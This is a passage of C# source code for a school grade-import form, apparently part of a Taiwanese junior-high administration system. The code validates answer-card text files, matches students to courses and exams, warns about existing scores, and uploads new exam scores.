(form.ShowDialog() == DialogResult.OK) { lblMessage.Text = "成績上傳中…"; FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", 0); counter = 0; _upload.RunWorkerAsync(); } else { this.DialogResult = DialogResult.Cancel; } }; _warn.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) { FISCA.Presentation.MotherForm.SetStatusBarMessage("" + e.UserState, e.ProgressPercentage); }; _files = new List <FileInfo>(); }
public ImportStartupForm() { InitializeComponent(); InitializeSemesters(); _effortMapper = new EffortMapper(); // 載入預設儲存值 LoadConfigData(); _worker = new BackgroundWorker(); _worker.WorkerReportsProgress = true; _worker.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) { lblMessage.Text = "" + e.UserState; }; _worker.DoWork += delegate(object sender, DoWorkEventArgs e) { #region Worker DoWork _worker.ReportProgress(0, "檢查讀卡文字格式…"); #region 檢查文字檔 ValidateTextFiles vtf = new ValidateTextFiles(intStudentNumberLenght.Value); ValidateTextResult vtResult = vtf.CheckFormat(_files); if (vtResult.Error) { e.Result = vtResult; return; } #endregion //文字檔轉 RawData RawDataCollection rdCollection = new RawDataCollection(); rdCollection.ConvertFromFiles(_files); //RawData 轉 DataRecord DataRecordCollection drCollection = new DataRecordCollection(); drCollection.ConvertFromRawData(rdCollection); _rawDataValidator = new DataValidator <RawData>(); _dataRecordValidator = new DataValidator <DataRecord>(); #region 取得驗證需要的資料 JHCourse.RemoveAll(); _worker.ReportProgress(0, "取得學生資料…"); List <JHStudentRecord> studentList = GetInSchoolStudents(); List <string> s_ids = new List <string>(); Dictionary <string, List <string> > studentNumberToStudentIDs = new Dictionary <string, List <string> >(); foreach (JHStudentRecord student in studentList) { string sn = SCValidatorCreator.GetStudentNumberFormat(student.StudentNumber); if (!studentNumberToStudentIDs.ContainsKey(sn)) { studentNumberToStudentIDs.Add(sn, new List <string>()); } studentNumberToStudentIDs[sn].Add(student.ID); } foreach (var dr in drCollection) { if (studentNumberToStudentIDs.ContainsKey(dr.StudentNumber)) { s_ids.AddRange(studentNumberToStudentIDs[dr.StudentNumber]); } } studentList.Clear(); _worker.ReportProgress(0, "取得課程資料…"); List <JHCourseRecord> courseList = JHCourse.SelectBySchoolYearAndSemester(SchoolYear, Semester); List <JHAEIncludeRecord> aeList = JHAEInclude.SelectAll(); //List<JHSCAttendRecord> scaList = JHSCAttend.SelectAll(); var c_ids = from course in courseList select course.ID; _worker.ReportProgress(0, "取得修課資料…"); //List<JHSCAttendRecord> scaList2 = JHSCAttend.SelectByStudentIDAndCourseID(s_ids, c_ids.ToList<string>()); List <JHSCAttendRecord> scaList = new List <JHSCAttendRecord>(); FunctionSpliter <string, JHSCAttendRecord> spliter = new FunctionSpliter <string, JHSCAttendRecord>(300, 3); spliter.Function = delegate(List <string> part) { return(JHSCAttend.Select(part, c_ids.ToList <string>(), null, SchoolYear.ToString(), Semester.ToString())); }; scaList = spliter.Execute(s_ids); _worker.ReportProgress(0, "取得試別資料…"); List <JHExamRecord> examList = JHExam.SelectAll(); #endregion #region 註冊驗證 _worker.ReportProgress(0, "載入驗證規則…"); _rawDataValidator.Register(new SubjectCodeValidator()); _rawDataValidator.Register(new ClassCodeValidator()); _rawDataValidator.Register(new ExamCodeValidator()); SCValidatorCreator scCreator = new SCValidatorCreator(JHStudent.SelectByIDs(s_ids), courseList, scaList); _dataRecordValidator.Register(scCreator.CreateStudentValidator()); _dataRecordValidator.Register(new ExamValidator(examList)); _dataRecordValidator.Register(scCreator.CreateSCAttendValidator()); _dataRecordValidator.Register(new CourseExamValidator(scCreator.StudentCourseInfo, aeList, examList)); #endregion #region 進行驗證 _worker.ReportProgress(0, "進行驗證中…"); List <string> msgList = new List <string>(); foreach (RawData rawData in rdCollection) { List <string> msgs = _rawDataValidator.Validate(rawData); msgList.AddRange(msgs); } if (msgList.Count > 0) { e.Result = msgList; return; } foreach (DataRecord dataRecord in drCollection) { List <string> msgs = _dataRecordValidator.Validate(dataRecord); msgList.AddRange(msgs); } if (msgList.Count > 0) { e.Result = msgList; return; } #endregion #region 取得學生的評量成績 _deleteScoreList.Clear(); _addScoreList.Clear(); //var student_ids = from student in scCreator.StudentNumberDictionary.Values select student.ID; //List<string> course_ids = scCreator.AttendCourseIDs; var scaIDs = from sca in scaList select sca.ID; Dictionary <string, JHSCETakeRecord> sceList = new Dictionary <string, JHSCETakeRecord>(); FunctionSpliter <string, JHSCETakeRecord> spliterSCE = new FunctionSpliter <string, JHSCETakeRecord>(300, 3); spliterSCE.Function = delegate(List <string> part) { return(JHSCETake.Select(null, null, null, null, part)); }; foreach (JHSCETakeRecord sce in spliterSCE.Execute(scaIDs.ToList())) { string key = GetCombineKey(sce.RefStudentID, sce.RefCourseID, sce.RefExamID); if (!sceList.ContainsKey(key)) { sceList.Add(key, sce); } } Dictionary <string, JHExamRecord> examTable = new Dictionary <string, JHExamRecord>(); Dictionary <string, JHSCAttendRecord> scaTable = new Dictionary <string, JHSCAttendRecord>(); foreach (JHExamRecord exam in examList) { if (!examTable.ContainsKey(exam.Name)) { examTable.Add(exam.Name, exam); } } foreach (JHSCAttendRecord sca in scaList) { string key = GetCombineKey(sca.RefStudentID, sca.RefCourseID); if (!scaTable.ContainsKey(key)) { scaTable.Add(key, sca); } } foreach (DataRecord dr in drCollection) { JHStudentRecord student = student = scCreator.StudentNumberDictionary[dr.StudentNumber]; JHExamRecord exam = examTable[dr.Exam]; List <JHCourseRecord> courses = new List <JHCourseRecord>(); foreach (JHCourseRecord course in scCreator.StudentCourseInfo.GetCourses(dr.StudentNumber)) { if (dr.Subjects.Contains(course.Subject)) { courses.Add(course); } } foreach (JHCourseRecord course in courses) { string key = GetCombineKey(student.ID, course.ID, exam.ID); if (sceList.ContainsKey(key)) { _deleteScoreList.Add(sceList[key]); } JHSCETakeRecord jh = new JHSCETakeRecord(); KH.JHSCETakeRecord sceNew = new KH.JHSCETakeRecord(jh); sceNew.RefCourseID = course.ID; sceNew.RefExamID = exam.ID; sceNew.RefSCAttendID = scaTable[GetCombineKey(student.ID, course.ID)].ID; sceNew.RefStudentID = student.ID; sceNew.Score = dr.Score; sceNew.Effort = _effortMapper.GetCodeByScore(dr.Score); _addScoreList.Add(sceNew.AsJHSCETakeRecord()); } } #endregion e.Result = null; #endregion }; _worker.RunWorkerCompleted += delegate(object sender, RunWorkerCompletedEventArgs e) { #region Worker Completed if (e.Error == null && e.Result == null) { if (!_upload.IsBusy) { //如果學生身上已有成績,則提醒使用者 if (_deleteScoreList.Count > 0) { _warn.RunWorkerAsync(); } else { lblMessage.Text = "成績上傳中…"; FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", 0); counter = 0; _upload.RunWorkerAsync(); } } } else { ControlEnable = true; if (e.Error != null) { MsgBox.Show("匯入失敗。" + e.Error.Message); SmartSchool.ErrorReporting.ReportingService.ReportException(e.Error); } else if (e.Result != null && e.Result is ValidateTextResult) { ValidateTextResult result = e.Result as ValidateTextResult; ValidationErrorViewer viewer = new ValidationErrorViewer(); viewer.SetTextFileError(result.LineIndexes, result.ErrorFormatLineIndexes, result.DuplicateLineIndexes); viewer.ShowDialog(); } else if (e.Result != null && e.Result is List <string> ) { ValidationErrorViewer viewer = new ValidationErrorViewer(); viewer.SetErrorLines(e.Result as List <string>); viewer.ShowDialog(); } } #endregion }; _upload = new BackgroundWorker(); _upload.WorkerReportsProgress = true; _upload.ProgressChanged += new ProgressChangedEventHandler(_upload_ProgressChanged); //_upload.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) //{ // counter += double.Parse("" + e.ProgressPercentage); // FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", (int)(counter * 100f / (double)_addScoreList.Count)); //}; _upload.DoWork += new DoWorkEventHandler(_upload_DoWork); //_upload.DoWork += delegate //{ //#region Upload DoWork //Framework.MultiThreadWorker<JHSCETakeRecord> multi = new Framework.MultiThreadWorker<JHSCETakeRecord>(); //multi.MaxThreads = 3; //multi.PackageSize = 500; //multi.PackageWorker += delegate(object sender, Framework.PackageWorkEventArgs<JHSCETakeRecord> e) //{ // JHSCETake.Delete(e.List); //}; //multi.Run(_deleteScoreList); //Framework.MultiThreadWorker<JHSCETakeRecord> multi2 = new Framework.MultiThreadWorker<JHSCETakeRecord>(); //multi2.MaxThreads = 3; //multi2.PackageSize = 500; //multi2.PackageWorker += delegate(object sender, Framework.PackageWorkEventArgs<JHSCETakeRecord> e) //{ // JHSCETake.Insert(e.List); // lock (_upload) // { // _upload.ReportProgress(e.List.Count); // } //}; //multi2.Run(_addScoreList); //#endregion //}; _upload.RunWorkerCompleted += new RunWorkerCompletedEventHandler(_upload_RunWorkerCompleted); _warn = new BackgroundWorker(); _warn.WorkerReportsProgress = true; _warn.DoWork += delegate(object sender, DoWorkEventArgs e) { _warn.ReportProgress(0, "產生警告訊息..."); Dictionary <string, string> examDict = new Dictionary <string, string>(); foreach (JHExamRecord exam in JHExam.SelectAll()) { if (!examDict.ContainsKey(exam.ID)) { examDict.Add(exam.ID, exam.Name); } } WarningForm form = new WarningForm(); int count = 0; foreach (JHSCETakeRecord sce in _deleteScoreList) { // 當成績資料是空值跳過 if (sce.Score.HasValue == false && sce.Effort.HasValue == false && string.IsNullOrEmpty(sce.Text)) { continue; } count++; JHStudentRecord student = JHStudent.SelectByID(sce.RefStudentID); JHCourseRecord course = JHCourse.SelectByID(sce.RefCourseID); string exam = (examDict.ContainsKey(sce.RefExamID) ? examDict[sce.RefExamID] : "<未知的試別>"); string s = ""; if (student.Class != null) { s += student.Class.Name; } if (!string.IsNullOrEmpty("" + student.SeatNo)) { s += " " + student.SeatNo + "號"; } if (!string.IsNullOrEmpty(student.StudentNumber)) { s += " (" + student.StudentNumber + ")"; } s += " " + student.Name; form.Add(student.ID, s, string.Format("學生在「{0}」課程「{1}」中已有成績。", course.Name, exam)); _warn.ReportProgress((int)(count * 100 / _deleteScoreList.Count), "產生警告訊息..."); } e.Result = form; }; _warn.RunWorkerCompleted += delegate(object sender, RunWorkerCompletedEventArgs e) { WarningForm form = e.Result as WarningForm; if (form.ShowDialog() == DialogResult.OK) { lblMessage.Text = "成績上傳中…"; FISCA.Presentation.MotherForm.SetStatusBarMessage("成績上傳中…", 0); counter = 0; _upload.RunWorkerAsync(); } else { this.DialogResult = DialogResult.Cancel; } }; _warn.ProgressChanged += delegate(object sender, ProgressChangedEventArgs e) { FISCA.Presentation.MotherForm.SetStatusBarMessage("" + e.UserState, e.ProgressPercentage); }; _files = new List <FileInfo>(); _addScoreList = new List <JHSCETakeRecord>(); _deleteScoreList = new List <JHSCETakeRecord>(); }